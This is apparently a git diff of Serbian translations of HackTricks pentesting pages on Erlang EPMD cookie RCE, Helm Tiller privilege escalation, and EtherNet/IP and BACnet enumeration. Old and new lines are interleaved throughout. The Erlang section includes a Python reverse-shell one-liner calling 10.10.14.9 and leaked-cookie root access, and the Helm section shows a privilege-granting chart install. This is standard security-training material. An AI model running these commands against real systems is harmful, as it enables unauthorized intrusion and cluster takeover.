Nakon što otkrijete EPMD, možete iskoristiti različite tehnike za dalje pentestiranje. Na primer, možete pokušati da izvršite napad poput Erlang Distribution Protocol (EPMD) leak-a, koji omogućava napadaču da dobije informacije o Erlang čvorovima na mreži.
Važno je napomenuti da je pentestiranje mrežnih usluga legalno samo ako imate dozvolu vlasnika sistema. Uvek se pridržavajte etičkih smernica i zakona prilikom izvođenja bilo kakvih pentestiranja.
## Automatski
```bash
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
@ -69,9 +54,9 @@ PORT STATE SERVICE VERSION
```
# Erlang Cookie RCE
## Udaljena veza
## Remote Connection
Ako možete **procuriti autentifikacijski kolačić**, moći ćete izvršiti kod na hostu. Obično se ovaj kolačić nalazi u `~/.erlang.cookie` i generiše ga Erlang prilikom prvog pokretanja. Ako nije izmenjen ili postavljen ručno, to je nasumičan niz \[A:Z\] dužine 20 karaktera.
Ako možete **procuriti Authentication cookie** moći ćete da izvršite kod na hostu. Obično se ovaj cookie nalazi u `~/.erlang.cookie` i generiše ga erlang pri prvom pokretanju. Ako nije izmenjen ili postavljen ručno, to je nasumični niz \[A:Z] dužine 20 karaktera.
```bash
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
@ -84,13 +69,13 @@ At last, we can start an erlang shell on the remote system.
"uid=0(root) gid=0(root) groups=0(root)\n"
```
Više informacija na [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
Autor takođe deli program za bruteforceovanje kolačića:
Autor takođe deli program za bruteforce-ovanje kolačića:
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
## Lokalna veza
## Lokalna Konekcija
U ovom slučaju ćemo zloupotrebiti CouchDB da bismo lokalno povećali privilegije:
U ovom slučaju ćemo zloupotrebiti CouchDB da bismo lokalno eskalirali privilegije:
```bash
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
@ -98,7 +83,7 @@ HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
```
Primer preuzet sa [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
Možete koristiti **Canape HTB mašinu** da biste **vežbali** kako da **iskoristite ovu ranjivost**.
Možete koristiti **Canape HTB mašinu da** **vežbate** kako da **iskoristite ovu ranjivost**.
## Metasploit
```bash
@ -110,16 +95,17 @@ msf5> use exploit/multi/misc/erlang_cookie_rce
* `port:4369 "na portu"`
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Osnovne informacije
Helm je **upravljač paketima** za Kubernetes. Omogućava pakovanje YAML fajlova i distribuciju istih u javnim i privatnim repozitorijumima. Ovi paketi se nazivaju **Helm Charts**. **Tiller** je **servis** koji se **podrazumevano pokreće** na portu 44134 i pruža uslugu.
Helm je **menadžer paketa** za Kubernetes. Omogućava pakovanje YAML datoteka i distribuciju u javnim i privatnim repozitorijumima. Ovi paketi se nazivaju **Helm Charts**. **Tiller** je **usluga** koja se **pokreće** podrazumevano na portu 44134 i nudi ovu uslugu.
**Podrazumevani port:** 44134
```
PORT STATE SERVICE VERSION
44134/tcp open unknown
```
# Enumeracija
# Enumeration
Ako možete **izlistati podove i/ili servise** različitih imenskih prostora, izlistajte ih i potražite one koji imaju **"tiller" u svom imenu**:
Ako možete **enumerisati podove i/ili servise** različitih imenskih prostora, enumerišite ih i tražite one sa **"tiller" u njihovom imenu**:
```bash
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
@ -33,45 +34,7 @@ kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
```
## Pentesting Tiller (Helm)
### Introduction
Tiller is the server-side component of Helm, a package manager for Kubernetes. It manages the deployment of charts, which are packages of pre-configured Kubernetes resources. Pentesting Tiller involves identifying security vulnerabilities and misconfigurations that could be exploited by an attacker.
### Enumeration
To begin the pentesting process, you need to enumerate the Tiller service. This can be done using tools like `nmap` or `masscan` to scan for open ports. The default port for Tiller is `44134`.
```bash
nmap -p 44134 <target_ip>
```
### Exploitation
Once you have identified an open Tiller port, you can attempt to exploit it. One common vulnerability is the lack of authentication, which allows anyone to connect to the Tiller server without credentials. This can be exploited using the `helm` command-line tool.
```bash
helm init --client-only
helm repo add stable http://<target_ip>:44134
helm search
```
### Post-Exploitation
After successfully exploiting Tiller, you can perform various post-exploitation activities. For example, you can search for sensitive information, such as Kubernetes secrets, by using the `helm search` command. Additionally, you can deploy malicious charts to gain persistence or execute arbitrary code on the Kubernetes cluster.
### Mitigation
To mitigate the risks associated with Tiller, it is recommended to follow these best practices:
1. Enable authentication for Tiller by configuring it with a secure authentication mechanism, such as TLS certificates or RBAC.
2. Restrict network access to the Tiller service by using firewalls or network policies.
3. Regularly update Helm and Tiller to ensure you have the latest security patches.
4. Use RBAC to limit the permissions of Tiller, ensuring it only has the necessary privileges to perform its functions.
5. Monitor Tiller logs for any suspicious activity or unauthorized access attempts.
By following these mitigation techniques, you can enhance the security of your Tiller installation and protect your Kubernetes cluster from potential attacks.
Primeri:
```bash
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
@ -83,39 +46,39 @@ NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S)
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
```
Takođe možete pokušati da pronađete ovu uslugu proverom porta 44134:
Možete takođe pokušati da pronađete ovu uslugu koja radi proverom porta 44134:
```bash
sudo nmap -sS -p 44134 <IP>
```
Jednom kada ste otkrili to, možete komunicirati s njim preuzimanjem klijentske aplikacije helm. Možete koristiti alate poput `homebrew`, ili pogledati [**zvaničnu stranicu izdanja**](https://github.com/helm/helm/releases)**.** Za više detalja ili druge opcije, pogledajte [vodič za instalaciju](https://v2.helm.sh/docs/using\_helm/#installing-helm).
Kada ga otkrijete, možete komunicirati sa njim preuzimanjem klijentske helm aplikacije. Možete koristiti alate kao što su `homebrew`, ili pogledati [**stranicu zvaničnih izdanja**](https://github.com/helm/helm/releases)**.** Za više detalja, ili za druge opcije, pogledajte [vodič za instalaciju](https://v2.helm.sh/docs/using\_helm/#installing-helm).
Zatim, možete **izlistati uslugu**:
Zatim, možete **enumerisati uslugu**:
```
helm --host tiller-deploy.kube-system:44134 version
```
## Eskalacija privilegija
Podrazumevano je da je **Helm2** instaliran u **kube-system** namespace-u sa **visokim privilegijama**, pa ako pronađete uslugu i imate pristup njoj, to vam može omogućiti **eskalciju privilegija**.
Po defaultu, **Helm2** je instaliran u **namespace kube-system** sa **visokim privilegijama**, tako da ako pronađete servis i imate pristup njemu, to bi moglo omogućiti **eskalaciju privilegija**.
Sve što trebate da uradite je da instalirate paket poput ovog: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) koji će omogućiti **podrazumevani pristup tokena usluge svemu u celokupnom klasteru.**
Sve što treba da uradite je da instalirate paket poput ovog: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) koji će dati **default service token pristup svemu u celom klasteru.**
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
U [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) imate **objašnjenje napada**, ali u osnovi, ako pročitate datoteke [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) i [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) unutar _helm-tiller-pwn/pwnchart/templates/_ možete videti kako se **sve privilegije dodeljuju podrazumevanom token-u**.
U [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) imate **objašnjenje napada**, ali u suštini, ako pročitate datoteke [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) i [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) unutar _helm-tiller-pwn/pwnchart/templates/_ možete videti kako se **sve privilegije dodeljuju podrazumevanom tokenu**.
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju oglašenu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# **Informacije o protokolu**
EtherNet/IP je **industrijski Ethernet mrežni protokol** koji se često koristi u **industrijskim automatizovanim kontrolnim sistemima**. Razvijen je od strane Rockwell Automation-a krajem 1990-ih i upravlja ga ODVA. Protokol obezbeđuje **interoperabilnost sistema različitih proizvođača** i koristi se u raznim aplikacijama kao što su **postrojenja za preradu vode**, **proizvodne pogone** i **javne službe**. Da bi se identifikovao EtherNet/IP uređaj, upit se šalje na **TCP/44818** sa **porukom List Identities (0x63)**.
EtherNet/IP je **industrijski Ethernet mrežni protokol** koji se često koristi u **sistemima za automatsku kontrolu u industriji**. Razvila ga je kompanija Rockwell Automation krajem 1990-ih, a upravlja njime ODVA. Protokol obezbeđuje **interoperabilnost sistema više proizvođača** i koristi se u raznim aplikacijama kao što su **postrojenja za obradu vode**, **proizvodne fabrike** i **komunalne usluge**. Da bi se identifikovao EtherNet/IP uređaj, upit se šalje na **TCP/44818** sa **list Identities Message (0x63)**.
**Podrazumevani port:** 44818 UDP/TCP
```
@ -23,80 +24,6 @@ PORT STATE SERVICE
44818/tcp open EtherNet/IP
```
# **Enumeracija**
---
## **Ethernet/IP**
---
Ethernet/IP je industrijski protokol koji se koristi za komunikaciju između uređaja u industrijskim mrežama. Protokol se zasniva na Ethernetu i Internet protokolu (IP) i često se koristi u automatizaciji i kontrolnim sistemima.
---
### **Otkrivanje Ethernet/IP servisa**
---
Da biste otkrili Ethernet/IP servise u mreži, možete koristiti alate kao što su `nmap` ili `Metasploit`. Ovi alati mogu skenirati mrežu i identifikovati uređaje koji koriste Ethernet/IP protokol.
---
#### **nmap**
---
Koristite sledeću nmap komandu za skeniranje mreže i otkrivanje Ethernet/IP servisa:
```
nmap -p 44818 --script enip-info <cilj>
```
---
#### **Metasploit**
---
U Metasploit okruženju, možete koristiti modul `auxiliary/scanner/enip` za skeniranje mreže i otkrivanje Ethernet/IP servisa. Evo kako to možete uraditi:
```
use auxiliary/scanner/enip
set RHOSTS <cilj>
run
```
---
### **Eksploatacija Ethernet/IP servisa**
---
Kada identifikujete Ethernet/IP servise, možete pokušati da ih eksploatišete kako biste dobili neovlašćen pristup uređajima u mreži. Ovo može uključivati izvršavanje komandi, čitanje i pisanje podataka ili čak preuzimanje kontrolu nad uređajem.
---
#### **EtherNet/IP Scanner**
---
EtherNet/IP Scanner je alat koji vam omogućava da komunicirate sa Ethernet/IP uređajima i izvršavate različite operacije. Možete koristiti ovaj alat za čitanje i pisanje podataka, izvršavanje komandi i mnoge druge funkcionalnosti.
---
#### **EtherNet/IP Explorer**
---
EtherNet/IP Explorer je još jedan alat koji vam omogućava da istražujete i komunicirate sa Ethernet/IP uređajima. Ovaj alat vam pruža detaljniji pregled uređaja i omogućava vam da izvršavate različite operacije.
---
### **Zaključak**
---
Ethernet/IP je važan protokol koji se često koristi u industrijskim mrežama. Otkrivanje i eksploatacija Ethernet/IP servisa može vam omogućiti pristup i kontrolu nad uređajima u mreži. Međutim, važno je da ove tehnike koristite samo u zakonite svrhe i uz dozvolu vlasnika mreže.
```bash
nmap -n -sV --script enip-info -p 44818 <IP>
pip3 install cpppo
@ -107,16 +34,17 @@ python3 -m cpppo.server.enip.list_services [--udp] [--broadcast] --list-identity
* `port:44818 "ime proizvoda"`
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Informacije o protokolu
# Protocol Information
**BACnet** je **komunikacioni protokol** za mreže za automatizaciju i kontrolu zgrada (BAC) koji koristi **ASHRAE**, **ANSI** i **ISO 16484-5 standardni** protokol. Omogućava komunikaciju između sistema za automatizaciju i kontrolu zgrada, omogućavajući aplikacijama kao što su kontrola HVAC sistema, kontrola osvetljenja, kontrola pristupa i sistemi za detekciju požara da razmenjuju informacije. BACnet obezbeđuje interoperabilnost i omogućava komunikaciju računarskih uređaja za automatizaciju zgrada, bez obzira na specifične usluge koje pružaju.
**BACnet** je **protokol komunikacije** za mreže automatizacije i kontrole zgrada (BAC) koji koristi **ASHRAE**, **ANSI** i **ISO 16484-5 standard** protokol. Omogućava komunikaciju među sistemima automatizacije i kontrole zgrada, omogućavajući aplikacije kao što su kontrola HVAC-a, kontrola osvetljenja, kontrola pristupa i sistemi za detekciju požara da razmenjuju informacije. BACnet osigurava interoperabilnost i omogućava kompjuterizovanim uređajima za automatizaciju zgrada da komuniciraju, bez obzira na specifične usluge koje pružaju.
**Podrazumevani port:** 47808
```text
@ -24,80 +25,33 @@ PORT STATE SERVICE
```
# Enumeracija
## Ručna
## Ručno
```bash
pip3 install BAC0
pip3 install netifaces
import BAC0
bbmdIP = '<IP>:47808'
bbmdTTL = 900
bacnet = BAC0.connect(bbmdAddress=bbmdIP, bbmdTTL=bbmdTTL) #Connect
bacnet.vendorName.strValue
#I couldn't find how to obtain the same data as nmap with this library or any other
#talk me if you know how please
import time
myIP = '<Your IP>/<MASK>' #You need to be on the same subnet as the bacnet device. Example: '192.168.1.4/24'
bacnet = BAC0.connect(ip=myIP)
bacnet.whois() #Broadcast request of bacnet devices
time.sleep(5) #Wait for devices to respond
for i, (deviceId, companyId, devIp, numDeviceId) in enumerate(bacnet.devices):
print(f"-------- Device #{numDeviceId} --------")
print(f"Device: {deviceId}")
print(f"IP: {devIp}")
print(f"Company: {companyId}")
readDevice = bacnet.readMultiple(f"{devIp} device {numDeviceId} all")
print(f"Model Name: {readDevice[11]}")
print(f"Version: {readDevice[2]}")
# print(readDevice) #List all available info about the device
```
## Automatsko
---
### Introduction
### Uvod
BACnet is a communication protocol widely used in building automation and control systems (BACS). It allows devices such as HVAC systems, lighting controls, and access control systems to communicate with each other over a network. BACnet uses the User Datagram Protocol (UDP) as its transport protocol.
BACnet je komunikacioni protokol široko korišćen u sistemima automatizacije i kontrole zgrada (BACS). Omogućava uređajima kao što su HVAC sistemi, kontrola osvetljenja i sistemi kontrole pristupa da komuniciraju međusobno preko mreže. BACnet koristi User Datagram Protocol (UDP) kao svoj transportni protokol.
### UDP BACnet Discovery
### Otkrivanje UDP BACnet-a
To discover BACnet devices on a network, you can use the `bacnet-discover` tool from the `bacnet-utils` package. This tool sends a BACnet Who-Is request to the broadcast address of the network and listens for responses from BACnet devices.
Da biste otkrili BACnet uređaje na mreži, možete koristiti alat `bacnet-discover` iz paketa `bacnet-utils`. Ovaj alat šalje BACnet Who-Is zahtev na broadcast adresu mreže i osluškuje odgovore od BACnet uređaja.
To use `bacnet-discover`, you need to specify the network interface to use with the `-i` option. For example, to discover BACnet devices on the `eth0` interface, you can run the following command:
Da biste koristili `bacnet-discover`, morate navesti mrežni interfejs koji želite koristiti sa opcijom `-i`. Na primer, da biste otkrili BACnet uređaje na interfejsu `eth0`, možete pokrenuti sledeću komandu:
```plaintext
bacnet-discover -i eth0
```
This will send a BACnet Who-Is request to the broadcast address of the `eth0` interface and display the responses from BACnet devices.
Ovo će poslati BACnet Who-Is zahtev na broadcast adresu interfejsa `eth0` i prikazati odgovore od BACnet uređaja.
### UDP BACnet Enumeration
### Enumeracija UDP BACnet-a
Once you have discovered BACnet devices on a network, you can use the `bacnet-enumerate` tool from the `bacnet-utils` package to enumerate the objects and properties supported by each device. This tool sends BACnet ReadProperty requests to the discovered devices and displays the responses.
Kada otkrijete BACnet uređaje na mreži, možete koristiti alat `bacnet-enumerate` iz paketa `bacnet-utils` da biste nabrojali objekte i svojstva podržana od strane svakog uređaja. Ovaj alat šalje BACnet ReadProperty zahteve otkrivenim uređajima i prikazuje odgovore.
To use `bacnet-enumerate`, you need to specify the network interface to use with the `-i` option, and the device address to enumerate with the `-d` option. For example, to enumerate the objects and properties of a BACnet device with the address `192.168.1.100`, you can run the following command:
Da biste koristili `bacnet-enumerate`, morate navesti mrežni interfejs koji želite koristiti sa opcijom `-i`, i adresu uređaja koju želite nabrojati sa opcijom `-d`. Na primer, da biste nabrojali objekte i svojstva BACnet uređaja sa adresom `192.168.1.100`, možete pokrenuti sledeću komandu:
```plaintext
